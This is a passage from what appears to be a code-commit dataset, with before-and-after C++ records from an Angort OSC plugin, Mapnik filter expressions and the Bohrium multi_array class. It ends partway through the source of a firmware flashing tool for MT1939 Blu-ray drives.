tLoAddr.set(a->pushval(),lo);\n}\n\n%wordargs send lsA|LoAddr (floatlist path port -- ret) send to path from a port, returns none on fail.\n{\n lo_message msg = lo_message_new();\n ArrayListIterator<Value> iter(p0);\n int i=0;\n for(iter.first();!iter.isDone();iter.next(),i++){\n lo_message_add_float(msg,iter.current()->toFloat());\n }\n int ret = lo_send_message(*p2,p1,msg);\n if(ret<0)\n a->pushNone();\n else\n a->pushInt(0);\n lo_message_free(msg);\n} \n \n \n\n%init\n{\n fprintf(stderr,\"Initialising OSC plugin (send only), %s %s\\n\",__DATE__,__TIME__);\n}\n\n\n%shutdown\n{\n}\n<commit_msg>description<commit_after>\/**\n * @file osc.cpp\n * @brief Brief description of file.\n *\n *\/\n\n#include \"angort\/angort.h\"\n#include \"..\/wrappers.h\"\n#include <lo\/lo.h>\n#define THROWOSC(e) throw RUNT(\"ex$diamond\",e.what())\n\nusing namespace angort;\n\nstatic BasicWrapperType<lo_address> tLoAddr(\"LOAD\");\n\n%type LoAddr tLoAddr lo_address\n\n%name osc\n%shared\n\n\n\n%wordargs makeport s (s ---) make a new OSC port on localhost, given the port name\n{\n lo_address lo = lo_address_new(NULL,p0);\n if(!lo)\n a->pushNone();\n else\n tLoAddr.set(a->pushval(),lo);\n}\n\n%wordargs send lsA|LoAddr (floatlist path port -- ret) send to path on a port, returns none on fail.\n{\n lo_message msg = lo_message_new();\n ArrayListIterator<Value> iter(p0);\n int i=0;\n for(iter.first();!iter.isDone();iter.next(),i++){\n lo_message_add_float(msg,iter.current()->toFloat());\n }\n int ret = lo_send_message(*p2,p1,msg);\n if(ret<0)\n a->pushNone();\n else\n a->pushInt(0);\n lo_message_free(msg);\n} \n \n \n\n%init\n{\n fprintf(stderr,\"Initialising OSC plugin (send only), %s %s\\n\",__DATE__,__TIME__);\n}\n\n\n%shutdown\n{\n}\n<|endoftext|>"} {"text":"<commit_before>\/* This file is part of Mapnik (c++ mapping toolkit)\n * Copyright (C) 2005 Artem Pavlenko\n *\n * Mapnik is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n *\/\n\n\/\/$Id$\n\n#ifndef EXPRESSION_HPP\n#define EXPRESSION_HPP\n\n#include \"value.hpp\"\n#include \"filter_visitor.hpp\"\n\nnamespace mapnik\n{\n template <typename FeatureT> class filter_visitor;\n template <typename FeatureT>\n struct expression\n {\n\tvirtual value get_value(FeatureT const& feature) const=0;\n\tvirtual void accept(filter_visitor<FeatureT>& v)=0;\n\tvirtual expression<FeatureT>* clone() const=0;\n\tvirtual std::string to_string() const=0;\n\tvirtual ~expression() {}\n };\n\n template <typename FeatureT> \n class literal : public expression<FeatureT>\n {\n public:\n\tliteral(int val)\n\t : expression<FeatureT>(),\n\t value_(val) {}\n\tliteral(double val)\n\t : expression<FeatureT>(),\n\t value_(val) {}\n\tliteral(std::string const& val)\n\t : expression<FeatureT>(),\n\t value_(val) {}\n\tliteral(literal const& other)\n\t : expression<FeatureT>(),\n\t value_(other.value_) {}\n\t\n\tvalue get_value(FeatureT const& \/*feature*\/) const\n\t{\n\t return value_;\n\t}\n\tvoid accept(filter_visitor<FeatureT>& v)\n\t{\n\t v.visit(*this);\n\t}\n\texpression<FeatureT>* clone() const\n\t{\n\t return new literal(*this); \n\t}\n\tstd::string to_string() const\n\t{\n\t return \"'\"+value_.to_string()+\"'\";\n\t}\n ~literal() {}\n private:\n\tvalue value_;\n\t\n };\n \n\n template <typename FeatureT> \n class property : public expression<FeatureT>\n {\n public:\n\tproperty(std::string const& name)\n\t : expression<FeatureT>(),\n\t name_(name),\n\t index_(0),\n\t valid_(false) {}\n\t\n\tproperty(property const& other)\n\t : expression<FeatureT>(),\n\t name_(other.name_),\n\t index_(other.index_),\n\t valid_(other.valid_) {}\n\n\tvalue get_value(FeatureT const& feature) const\n\t{\n\t return feature.get_property(index_);\n\t}\n\tvoid accept(filter_visitor<FeatureT>& v)\n\t{\n\t v.visit(*this);\n\t}\n\texpression<FeatureT>* clone() const\n\t{\n\t return new property(*this); \n\t}\n\tstd::string const& name() const\n\t{\n\t return name_;\n\t}\n\tvoid set_index(size_t index) \n\t{\n\t index_=index;\n\t valid_=true;\n\t}\n\tstd::string to_string() const\n\t{\n\t return \"[\"+name_+\"]\";\n\t}\n ~property() {}\n private:\n\tstd::string name_;\n\tsize_t index_;\n\tbool valid_;\n };\n}\n\n#endif \/\/EXPRESSION_HPP\n<commit_msg> fixed to_string() method for filter expressions<commit_after>\/* This file is part of Mapnik (c++ mapping toolkit)\n * Copyright (C) 2005 Artem Pavlenko\n *\n * Mapnik is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n *\/\n\n\/\/$Id$\n\n#ifndef EXPRESSION_HPP\n#define EXPRESSION_HPP\n\n#include \"value.hpp\"\n#include \"filter_visitor.hpp\"\n\nnamespace mapnik\n{\n template <typename FeatureT> class filter_visitor;\n template <typename FeatureT>\n struct expression\n {\n\tvirtual value get_value(FeatureT const& feature) const=0;\n\tvirtual void accept(filter_visitor<FeatureT>& v)=0;\n\tvirtual expression<FeatureT>* clone() const=0;\n\tvirtual std::string to_string() const=0;\n\tvirtual ~expression() {}\n };\n\n template <typename FeatureT> \n class literal : public expression<FeatureT>\n {\n public:\n\tliteral(int val)\n\t : expression<FeatureT>(),\n\t value_(val) {}\n\tliteral(double val)\n\t : expression<FeatureT>(),\n\t value_(val) {}\n\tliteral(std::string const& val)\n\t : expression<FeatureT>(),\n\t value_(val) {}\n\tliteral(literal const& other)\n\t : expression<FeatureT>(),\n\t value_(other.value_) {}\n\t\n\tvalue get_value(FeatureT const& \/*feature*\/) const\n\t{\n\t return value_;\n\t}\n\tvoid accept(filter_visitor<FeatureT>& v)\n\t{\n\t v.visit(*this);\n\t}\n\texpression<FeatureT>* clone() const\n\t{\n\t return new literal(*this); \n\t}\n\tstd::string to_string() const\n\t{\n\t return value_.to_string();\n\t}\n ~literal() {}\n private:\n\tvalue value_;\n };\n \n\n template <typename FeatureT> \n class property : public expression<FeatureT>\n {\n public:\n\tproperty(std::string const& name)\n\t : expression<FeatureT>(),\n\t name_(name),\n\t index_(0),\n\t valid_(false) {}\n\t\n\tproperty(property const& other)\n\t : expression<FeatureT>(),\n\t name_(other.name_),\n\t index_(other.index_),\n\t valid_(other.valid_) {}\n\n\tvalue get_value(FeatureT const& feature) const\n\t{\n\t return feature.get_property(index_);\n\t}\n\tvoid accept(filter_visitor<FeatureT>& v)\n\t{\n\t v.visit(*this);\n\t}\n\texpression<FeatureT>* clone() const\n\t{\n\t return new property(*this); \n\t}\n\tstd::string const& name() const\n\t{\n\t return name_;\n\t}\n\tvoid set_index(size_t index) \n\t{\n\t index_=index;\n\t valid_=true;\n\t}\n\tstd::string to_string() const\n\t{\n\t return \"[\"+name_+\"]\";\n\t}\n ~property() {}\n private:\n\tstd::string name_;\n\tsize_t index_;\n\tbool valid_;\n };\n}\n\n#endif \/\/EXPRESSION_HPP\n<|endoftext|>"} {"text":"<commit_before>\/*\nThis file is part of Bohrium and copyright (c) 2012 the Bohrium team:\nhttp:\/\/bohrium.bitbucket.org\n\nBohrium is free software: you can redistribute it and\/or modify\nit under the terms of the GNU Lesser General Public License as \npublished by the Free Software Foundation, either version 3 \nof the License, or (at your option) any later version.\n\nBohrium is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the \nGNU Lesser General Public License along with Bohrium. \n\nIf not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n#include <iostream>\n\n#include \"traits.hpp\" \/\/ Traits for assigning type to constants and multi_arrays.\n#include \"runtime.hpp\"\n#include <sstream>\n\nnamespace bh {\n\ntemplate <typename T>\nvoid multi_array<T>::init() \/\/ Pseudo-default constructor\n{\n key = keys++;\n temp = false;\n storage.insert(key, new bh_array);\n assign_array_type<T>(&storage[key]);\n}\n\ntemplate <typename T> \/\/ Default constructor - rank 0\nmulti_array<T>::multi_array() : key(0), temp(false) { }\n\n\/**\n * Inherit ndim \/ shape from another operand\n * Does not copy data.\n *\n *\/\ntemplate <typename T> \/\/ Copy constructor\nmulti_array<T>::multi_array(const multi_array<T>& operand)\n{\n init();\n\n storage[key].data = NULL;\n storage[key].base = NULL;\n storage[key].ndim = storage[operand.getKey()].ndim;\n storage[key].start = storage[operand.getKey()].start;\n\n for(int64_t i=0; i< storage[operand.getKey()].ndim; i++) {\n storage[key].shape[i] = storage[operand.getKey()].shape[i];\n }\n for(int64_t i=0; i< storage[operand.getKey()].ndim; i++) {\n storage[key].stride[i] = storage[operand.getKey()].stride[i];\n }\n}\n\ntemplate <typename T>\ntemplate <typename ...Dimensions> \/\/ Variadic constructor\nmulti_array<T>::multi_array(Dimensions... shape)\n{\n init();\n\n storage[key].data = NULL;\n storage[key].base = NULL;\n storage[key].ndim = sizeof...(Dimensions);\n storage[key].start = 0;\n\n unpack_shape(storage[key].shape, 0, shape...);\n\n int64_t stride = 1; \/\/ Setup strides\n for(int64_t i=storage[key].ndim-1; 0 <= i; --i) {\n storage[key].stride[i] = stride;\n stride *= storage[key].shape[i];\n }\n}\n\ntemplate <typename T> \/\/ Deconstructor\nmulti_array<T>::~multi_array()\n{\n if (key>0) {\n if (NULL == storage[key].base) { \/\/ Only send free on base-array\n Runtime::instance()->enqueue((bh_opcode)BH_FREE, *this);\n }\n Runtime::instance()->enqueue((bh_opcode)BH_DISCARD, *this);\n Runtime::instance()->trash(key);\n }\n}\n\ntemplate <typename T>\ninline\nsize_t multi_array<T>::getKey() const\n{\n return key;\n}\n\ntemplate <typename T>\ninline\nunsigned long multi_array<T>::getRank() const\n{\n return (unsigned long)*(&storage[key].ndim);\n}\n\ntemplate <typename T>\ninline\nbool multi_array<T>::getTemp() const\n{\n return temp;\n}\n\ntemplate <typename T>\ninline\nvoid multi_array<T>::setTemp(bool temp)\n{\n this->temp = temp;\n}\n\ntemplate <typename T>\ninline\nsize_t multi_array<T>::len()\n{\n size_t nelements = 1;\n for (int i = 0; i < storage[key].ndim; ++i) {\n nelements *= storage[key].shape[i];\n }\n return nelements;\n}\n\ntemplate <typename T>\ntypename multi_array<T>::iterator multi_array<T>::begin()\n{\n Runtime::instance()->enqueue((bh_opcode)BH_SYNC, *this);\n Runtime::instance()->flush();\n\n return multi_array<T>::iterator(storage[this->key]);\n}\n\ntemplate <typename T>\ntypename multi_array<T>::iterator multi_array<T>::end()\n{\n return multi_array<T>::iterator();\n}\n\n\/\/\n\/\/ Increment \/ decrement\n\/\/\ntemplate <typename T>\nmulti_array<T>& multi_array<T>::operator++()\n{\n Runtime::instance()->enqueue((bh_opcode)BH_ADD, *this, *this, (T)1);\n return *this;\n}\n\ntemplate <typename T>\nmulti_array<T>& multi_array<T>::operator++(int)\n{\n Runtime::instance()->enqueue((bh_opcode)BH_ADD, *this, *this, (T)1);\n return *this;\n}\n\ntemplate <typename T>\nmulti_array<T>& multi_array<T>::operator--()\n{\n Runtime::instance()->enqueue((bh_opcode)BH_SUBTRACT, *this, *this, (T)1);\n return *this;\n}\n\ntemplate <typename T>\nmulti_array<T>& multi_array<T>::operator--(int)\n{\n Runtime::instance()->enqueue((bh_opcode)BH_SUBTRACT, *this, *this, (T)1);\n return *this;\n}\n\n\/\/\n\/\/ Output \/ Printing\n\/\/\ntemplate <typename T>\nstd::ostream& operator<< (std::ostream& stream, multi_array<T>& rhs)\n{\n bool first = true;\n typename multi_array<T>::iterator it = rhs.begin();\n typename multi_array<T>::iterator end = rhs.end();\n\n stream << \"[ \";\n for(; it != end; it++) {\n if (!first) {\n stream << \", \";\n } else {\n first = false;\n }\n stream << *it;\n } \n stream << \" ]\" << std::endl;\n\n if (rhs.getTemp()) { \/\/ Cleanup temporary\n delete &rhs;\n }\n\n return stream;\n}\n\n\/\/\n\/\/ Slicing\n\/\/\ntemplate <typename T>\nslice<T>& multi_array<T>::operator[](int rhs) {\n return (*(new slice<T>(*this)))[rhs];\n}\n \ntemplate <typename T>\nslice<T>& multi_array<T>::operator[](slice_range& rhs) {\n return (*(new slice<T>(*this)))[rhs];\n}\n\n\/\/\n\/\/ Reshaping\n\/\/\ntemplate <typename T>\nmulti_array<T>& multi_array<T>::operator()(const T& n) {\n std::cout << \"Reshape to: \" << n << std::endl;\n return *this;\n}\n\n\/\/ Initialization\ntemplate <typename T>\nmulti_array<T>& multi_array<T>::operator=(const T& rhs)\n{\n Runtime::instance()->enqueue((bh_opcode)BH_IDENTITY, *this, rhs);\n return *this;\n}\n\n\/\/ Linking\ntemplate <typename T>\nvoid multi_array<T>::link(const size_t ext_key)\n{\n if (0!=key) {\n throw std::runtime_error(\"Dude you are ALREADY linked!\");\n }\n key = ext_key;\n}\n\ntemplate <typename T>\nsize_t multi_array<T>::unlink()\n{\n if (0==key) {\n throw std::runtime_error(\"Dude! THis one aint linked at all!\");\n }\n\n size_t retKey = key;\n key = 0;\n return retKey;\n}\n\n\/\/ Aliasing\ntemplate <typename T>\nmulti_array<T>& multi_array<T>::operator=(multi_array<T>& rhs)\n{\n if (key != rhs.getKey()) { \/\/ Prevent self-aliasing\n \n if (key>0) { \/\/ Release current linkage\n if (NULL == storage[key].base) {\n Runtime::instance()->enqueue((bh_opcode)BH_FREE, *this);\n }\n Runtime::instance()->enqueue((bh_opcode)BH_DISCARD, *this);\n unlink();\n }\n\n if (rhs.getTemp()) { \/\/ Take over temporary reference\n link(rhs.unlink());\n temp = false;\n delete &rhs;\n } else { \/\/ Create an alias of rhs.\n init();\n\n storage[key].data = NULL;\n storage[key].base = &storage[rhs.getKey()];\n storage[key].ndim = storage[rhs.getKey()].ndim;\n storage[key].start = storage[rhs.getKey()].start;\n for(int64_t i=0; i< storage[rhs.getKey()].ndim; i++) {\n storage[key].shape[i] = storage[rhs.getKey()].shape[i];\n }\n for(int64_t i=0; i< storage[rhs.getKey()].ndim; i++) {\n storage[key].stride[i] = storage[rhs.getKey()].stride[i];\n }\n }\n }\n\n return *this;\n}\n\n\/**\n * Aliasing via slicing\n *\n * Construct a view based on a slice.\n * Such as:\n *\n * center = grid[_(1,-1,1)][_(1,-1,1)];\n *\n * TODO: this is probobaly not entirely correct...\n *\/\ntemplate <typename T>\nmulti_array<T>& multi_array<T>::operator=(slice<T>& rhs)\n{\n multi_array<T>* vv = &rhs.view();\n\n if (key>0) { \/\/ Release current linkage\n if (NULL == storage[key].base) {\n Runtime::instance()->enqueue((bh_opcode)BH_FREE, *this);\n }\n Runtime::instance()->enqueue((bh_opcode)BH_DISCARD, *this);\n unlink();\n }\n\n link(vv->unlink());\n delete vv;\n\n return *this;\n}\n\n\n\/\/\n\/\/ Typecasting\n\/\/\ntemplate <typename T> template <typename Ret>\nmulti_array<Ret>& multi_array<T>::as()\n{\n multi_array<Ret>* result = &Runtime::instance()->temp<Ret>();\n result->setTemp(true);\n\n storage[result->getKey()].base = NULL;\n storage[result->getKey()].ndim = storage[this->getKey()].ndim;\n storage[result->getKey()].start = storage[this->getKey()].start;\n for(int64_t i=0; i< storage[this->getKey()].ndim; i++) {\n storage[result->getKey()].shape[i] = storage[this->getKey()].shape[i];\n }\n for(int64_t i=0; i< storage[this->getKey()].ndim; i++) {\n\n storage[result->getKey()].stride[i] = storage[this->getKey()].stride[i];\n }\n storage[result->getKey()].data = NULL;\n\n Runtime::instance()->enqueue((bh_opcode)BH_IDENTITY, *result, *this);\n\n return *result;\n}\n\n\/**\n * Update operand!\n *\/\ntemplate <typename T>\nmulti_array<T>& multi_array<T>::update(multi_array& rhs)\n{\n if (1>key) { \/\/ We do not have anything to update!\n throw std::runtime_error(\"Far out dude! you are trying to update \"\n \"something that does not exist!\");\n }\n Runtime::instance()->enqueue((bh_opcode)BH_IDENTITY, *this, rhs);\n\n return *this;\n}\n\n}\n\n<commit_msg>cppb: Moved functionality of multi_array.update() to multi_array.operator().<commit_after>\/*\nThis file is part of Bohrium and copyright (c) 2012 the Bohrium team:\nhttp:\/\/bohrium.bitbucket.org\n\nBohrium is free software: you can redistribute it and\/or modify\nit under the terms of the GNU Lesser General Public License as \npublished by the Free Software Foundation, either version 3 \nof the License, or (at your option) any later version.\n\nBohrium is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the \nGNU Lesser General Public License along with Bohrium. \n\nIf not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n#include <iostream>\n\n#include \"traits.hpp\" \/\/ Traits for assigning type to constants and multi_arrays.\n#include \"runtime.hpp\"\n#include <sstream>\n\nnamespace bh {\n\ntemplate <typename T>\nvoid multi_array<T>::init() \/\/ Pseudo-default constructor\n{\n key = keys++;\n temp = false;\n storage.insert(key, new bh_array);\n assign_array_type<T>(&storage[key]);\n}\n\ntemplate <typename T> \/\/ Default constructor - rank 0\nmulti_array<T>::multi_array() : key(0), temp(false) { }\n\n\/**\n * Inherit ndim \/ shape from another operand\n * Does not copy data.\n *\n *\/\ntemplate <typename T> \/\/ Copy constructor\nmulti_array<T>::multi_array(const multi_array<T>& operand)\n{\n init();\n\n storage[key].data = NULL;\n storage[key].base = NULL;\n storage[key].ndim = storage[operand.getKey()].ndim;\n storage[key].start = storage[operand.getKey()].start;\n\n for(int64_t i=0; i< storage[operand.getKey()].ndim; i++) {\n storage[key].shape[i] = storage[operand.getKey()].shape[i];\n }\n for(int64_t i=0; i< storage[operand.getKey()].ndim; i++) {\n storage[key].stride[i] = storage[operand.getKey()].stride[i];\n }\n}\n\ntemplate <typename T>\ntemplate <typename ...Dimensions> \/\/ Variadic constructor\nmulti_array<T>::multi_array(Dimensions... shape)\n{\n init();\n\n storage[key].data = NULL;\n storage[key].base = NULL;\n storage[key].ndim = sizeof...(Dimensions);\n storage[key].start = 0;\n\n unpack_shape(storage[key].shape, 0, shape...);\n\n int64_t stride = 1; \/\/ Setup strides\n for(int64_t i=storage[key].ndim-1; 0 <= i; --i) {\n storage[key].stride[i] = stride;\n stride *= storage[key].shape[i];\n }\n}\n\ntemplate <typename T> \/\/ Deconstructor\nmulti_array<T>::~multi_array()\n{\n if (key>0) {\n if (NULL == storage[key].base) { \/\/ Only send free on base-array\n Runtime::instance()->enqueue((bh_opcode)BH_FREE, *this);\n }\n Runtime::instance()->enqueue((bh_opcode)BH_DISCARD, *this);\n Runtime::instance()->trash(key);\n }\n}\n\ntemplate <typename T>\ninline\nsize_t multi_array<T>::getKey() const\n{\n return key;\n}\n\ntemplate <typename T>\ninline\nunsigned long multi_array<T>::getRank() const\n{\n return (unsigned long)*(&storage[key].ndim);\n}\n\ntemplate <typename T>\ninline\nbool multi_array<T>::getTemp() const\n{\n return temp;\n}\n\ntemplate <typename T>\ninline\nvoid multi_array<T>::setTemp(bool temp)\n{\n this->temp = temp;\n}\n\ntemplate <typename T>\ninline\nsize_t multi_array<T>::len()\n{\n size_t nelements = 1;\n for (int i = 0; i < storage[key].ndim; ++i) {\n nelements *= storage[key].shape[i];\n }\n return nelements;\n}\n\ntemplate <typename T>\ntypename multi_array<T>::iterator multi_array<T>::begin()\n{\n Runtime::instance()->enqueue((bh_opcode)BH_SYNC, *this);\n Runtime::instance()->flush();\n\n return multi_array<T>::iterator(storage[this->key]);\n}\n\ntemplate <typename T>\ntypename multi_array<T>::iterator multi_array<T>::end()\n{\n return multi_array<T>::iterator();\n}\n\n\/\/\n\/\/ Increment \/ decrement\n\/\/\ntemplate <typename T>\nmulti_array<T>& multi_array<T>::operator++()\n{\n Runtime::instance()->enqueue((bh_opcode)BH_ADD, *this, *this, (T)1);\n return *this;\n}\n\ntemplate <typename T>\nmulti_array<T>& multi_array<T>::operator++(int)\n{\n Runtime::instance()->enqueue((bh_opcode)BH_ADD, *this, *this, (T)1);\n return *this;\n}\n\ntemplate <typename T>\nmulti_array<T>& multi_array<T>::operator--()\n{\n Runtime::instance()->enqueue((bh_opcode)BH_SUBTRACT, *this, *this, (T)1);\n return *this;\n}\n\ntemplate <typename T>\nmulti_array<T>& multi_array<T>::operator--(int)\n{\n Runtime::instance()->enqueue((bh_opcode)BH_SUBTRACT, *this, *this, (T)1);\n return *this;\n}\n\n\/\/\n\/\/ Output \/ Printing\n\/\/\ntemplate <typename T>\nstd::ostream& operator<< (std::ostream& stream, multi_array<T>& rhs)\n{\n bool first = true;\n typename multi_array<T>::iterator it = rhs.begin();\n typename multi_array<T>::iterator end = rhs.end();\n\n stream << \"[ \";\n for(; it != end; it++) {\n if (!first) {\n stream << \", \";\n } else {\n first = false;\n }\n stream << *it;\n } \n stream << \" ]\" << std::endl;\n\n if (rhs.getTemp()) { \/\/ Cleanup temporary\n delete &rhs;\n }\n\n return stream;\n}\n\n\/\/\n\/\/ Slicing\n\/\/\ntemplate <typename T>\nslice<T>& multi_array<T>::operator[](int rhs) {\n return (*(new slice<T>(*this)))[rhs];\n}\n \ntemplate <typename T>\nslice<T>& multi_array<T>::operator[](slice_range& rhs) {\n return (*(new slice<T>(*this)))[rhs];\n}\n\n\n\n\/\/ Initialization\ntemplate <typename T>\nmulti_array<T>& multi_array<T>::operator=(const T& rhs)\n{\n Runtime::instance()->enqueue((bh_opcode)BH_IDENTITY, *this, rhs);\n return *this;\n}\n\n\/\/ Linking\ntemplate <typename T>\nvoid multi_array<T>::link(const size_t ext_key)\n{\n if (0!=key) {\n throw std::runtime_error(\"Dude you are ALREADY linked!\");\n }\n key = ext_key;\n}\n\ntemplate <typename T>\nsize_t multi_array<T>::unlink()\n{\n if (0==key) {\n throw std::runtime_error(\"Dude! THis one aint linked at all!\");\n }\n\n size_t retKey = key;\n key = 0;\n return retKey;\n}\n\n\/\/ Aliasing\ntemplate <typename T>\nmulti_array<T>& multi_array<T>::operator=(multi_array<T>& rhs)\n{\n if (key != rhs.getKey()) { \/\/ Prevent self-aliasing\n \n if (key>0) { \/\/ Release current linkage\n if (NULL == storage[key].base) {\n Runtime::instance()->enqueue((bh_opcode)BH_FREE, *this);\n }\n Runtime::instance()->enqueue((bh_opcode)BH_DISCARD, *this);\n unlink();\n }\n\n if (rhs.getTemp()) { \/\/ Take over temporary reference\n link(rhs.unlink());\n temp = false;\n delete &rhs;\n } else { \/\/ Create an alias of rhs.\n init();\n\n storage[key].data = NULL;\n storage[key].base = &storage[rhs.getKey()];\n storage[key].ndim = storage[rhs.getKey()].ndim;\n storage[key].start = storage[rhs.getKey()].start;\n for(int64_t i=0; i< storage[rhs.getKey()].ndim; i++) {\n storage[key].shape[i] = storage[rhs.getKey()].shape[i];\n }\n for(int64_t i=0; i< storage[rhs.getKey()].ndim; i++) {\n storage[key].stride[i] = storage[rhs.getKey()].stride[i];\n }\n }\n }\n\n return *this;\n}\n\n\/**\n * Aliasing via slicing\n *\n * Construct a view based on a slice.\n * Such as:\n *\n * center = grid[_(1,-1,1)][_(1,-1,1)];\n *\n * TODO: this is probobaly not entirely correct...\n *\/\ntemplate <typename T>\nmulti_array<T>& multi_array<T>::operator=(slice<T>& rhs)\n{\n multi_array<T>* vv = &rhs.view();\n\n if (key>0) { \/\/ Release current linkage\n if (NULL == storage[key].base) {\n Runtime::instance()->enqueue((bh_opcode)BH_FREE, *this);\n }\n Runtime::instance()->enqueue((bh_opcode)BH_DISCARD, *this);\n unlink();\n }\n\n link(vv->unlink());\n delete vv;\n\n return *this;\n}\n\n\n\/\/\n\/\/ Typecasting\n\/\/\ntemplate <typename T> template <typename Ret>\nmulti_array<Ret>& multi_array<T>::as()\n{\n multi_array<Ret>* result = &Runtime::instance()->temp<Ret>();\n result->setTemp(true);\n\n storage[result->getKey()].base = NULL;\n storage[result->getKey()].ndim = storage[this->getKey()].ndim;\n storage[result->getKey()].start = storage[this->getKey()].start;\n for(int64_t i=0; i< storage[this->getKey()].ndim; i++) {\n storage[result->getKey()].shape[i] = storage[this->getKey()].shape[i];\n }\n for(int64_t i=0; i< storage[this->getKey()].ndim; i++) {\n\n storage[result->getKey()].stride[i] = storage[this->getKey()].stride[i];\n }\n storage[result->getKey()].data = NULL;\n\n Runtime::instance()->enqueue((bh_opcode)BH_IDENTITY, *result, *this);\n\n return *result;\n}\n\n\/\/\n\/\/ Update\n\/\/\ntemplate <typename T>\nmulti_array<T>& multi_array<T>::operator()(multi_array& rhs)\n{\n if (1>key) { \/\/ We do not have anything to update!\n throw std::runtime_error(\"Far out dude! you are trying to update \"\n \"something that does not exist!\");\n }\n Runtime::instance()->enqueue((bh_opcode)BH_IDENTITY, *this, rhs);\n\n return *this;\n}\n\ntemplate <typename T>\nmulti_array<T>& multi_array<T>::operator()(const T& value) {\n\n if (1>key) { \/\/ We do not have anything to update!\n throw std::runtime_error(\"Far out dude! you are trying to update \"\n \"something that does not exist!\");\n }\n Runtime::instance()->enqueue((bh_opcode)BH_IDENTITY, *this, value);\n\n return *this;\n}\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Firmware flashing tool for Blu-Ray drives using the Mediatek MT1939 chip.\n * Copyright (c) 2014 Micah Elizabeth Scott\n * \n * Permission is hereby granted, free of charge, to any person obtaining a copy of\n * this software and associated documentation files (the \"Software\"), to deal in\n * the Software without restriction, including without limitation the rights to\n * use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\n * the Software, and to permit persons to whom the Software is furnished to do so,\n * subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\n * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include <algorithm>\n#include \"mt1939.h\"\n\nint main(int argc, char** argv)\n{\n TinySCSI scsi;\n MT1939::DeviceInfo info; \n MT1939::FirmwareImage fw;\n\n if (!MT1939::open(scsi)) {\n return 1;\n }\n\n if (!MT1939::deviceInfo(scsi, &info)) {\n return 1;\n }\n info.print();\n\n \/\/ Various usage formats...\n\n if (argc == 1) {\n return 0;\n\n } else if (argc == 2 && !strcmp(\"--erase\", argv[1])) {\n fw.erase();\n\n } else if (argc >= 3 && !strcmp(\"--scsi\", argv[1])) {\n\n uint8_t cdb[12];\n const char *dumpfile = \"result.log\";\n static uint8_t data[1024*1024*128];\n unsigned len = std::min<unsigned>(strtol(argv[2], 0, 16), sizeof data - 1);\n\n memset(cdb, 0, sizeof cdb);\n for (int i = 0; i < sizeof cdb; i++) {\n const char *arg = argv[3+i];\n if (!arg) {\n break;\n }\n cdb[i] = strtol(arg, 0, 16);\n }\n\n fprintf(stderr, \"\\nCDB:\\n\");\n hexdump(cdb, sizeof cdb);\n if (scsi.in(cdb, sizeof cdb, data, len)) {\n fprintf(stderr, \"\\nData returned:\\n\");\n hexdump(data, len);\n\n if (len) {\n FILE *f = fopen(dumpfile, \"wb\");\n if (f && fwrite(data, len, 1, f) == 1) {\n fprintf(stderr, \"Saved %d bytes to %s\\n\", len, dumpfile);\n fclose(f);\n }\n }\n }\n return 0;\n\n } else if (argc == 2 && fw.open(argv[1])) {\n fprintf(stderr, \"Firmware image loaded from disk\\n\");\n\n } else {\n fprintf(stderr,\n \"\\n\"\n \"usage:\\n\"\n \" mtflash Shows device version info, changes nothing\\n\"\n \" mtflash fw.bin Program a 2MB raw firmware image file.\\n\"\n \" The first 64 kiB is locked and can't be programmed,\\n\"\n \" so these bytes in the image are ignored.\\n\"\n \" mtflash --erase Send an image of all 0xFFs, erasing the unlocked\\n\"\n \" portions of flash.\\n\"\n \" mtflash --scsi Send a low level SCSI command.\\n\"\n \"\\n\"\n \"scsi examples:\\n\"\n \" mtflash --scsi 60 12 00 00 00 60 Long inquiry command\\n\"\n \" mtflash --scsi 8 ff 00 ff Firmware version\\n\"\n \" mtflash --scsi 2 ff 00 05 Read appselect bit0\\n\"\n \" mtflash --scsi 0 ff 00 04 00 00 01 Set appselect bit0\\n\"\n \" mtflash --scsi 0 ff 00 04 00 00 00 Clear appselect bit0\\n\"\n \" mtflash --scsi ffff 3c 6 0 0 0 0 0 ff ff Read first 64k of DRAM\\n\"\n );\n return 1;\n }\n\n fw.print();\n\n unsigned delay = 2;\n fprintf(stderr, \"--- WRITING in %d seconds ---\\n\", delay);\n sleep(delay);\n\n if (!MT1939::writeFirmware(scsi, &fw)) {\n 